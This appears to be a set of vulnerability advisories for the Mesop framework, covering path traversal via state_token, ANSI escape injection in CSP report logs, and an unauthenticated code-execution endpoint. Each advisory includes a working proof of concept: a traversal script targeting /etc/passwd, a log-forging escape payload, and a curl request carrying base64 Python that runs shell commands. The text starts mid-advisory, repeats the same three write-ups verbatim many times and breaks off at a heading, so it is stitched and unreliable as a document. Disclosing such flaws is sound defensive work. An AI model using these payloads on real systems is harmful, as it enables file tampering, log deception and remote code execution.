# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

1. Inject forged log messages that appear to originate from the application.
2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

1. Inject forged log messages that appear to originate from the application.
2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

1. Inject forged log messages that appear to originate from the application.
2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

1. Inject forged log messages that appear to originate from the application.
2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

1. Inject forged log messages that appear to originate from the application.
2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

1. Inject forged log messages that appear to originate from the application.
2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

